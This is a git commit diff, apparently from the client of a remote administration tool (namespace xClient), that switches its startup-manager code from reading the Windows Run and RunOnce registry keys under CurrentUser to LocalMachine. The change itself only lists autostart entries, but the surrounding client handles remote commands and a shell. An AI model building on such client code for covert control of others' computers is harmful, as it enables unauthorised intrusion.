Startup Manger Fix [Client]

Changed CurrentUser to LocalMachine
As these values located in LocalMachine NOT CurrentUser
This commit is contained in:
DragonzMaster 2015-05-26 20:36:14 +02:00
parent 4e7c6a701c
commit 1faafaa814
1 changed files with 3 additions and 3 deletions

View File

@ -101,7 +101,7 @@ namespace xClient.Core.Commands
{
using (
var key =
Registry.CurrentUser.OpenSubKey(
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
false))
{
@ -113,7 +113,7 @@ namespace xClient.Core.Commands
}
using (
var key =
Registry.CurrentUser.OpenSubKey(
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
false))
{
@ -363,4 +363,4 @@ namespace xClient.Core.Commands
_shell.Dispose();
}
}
}
}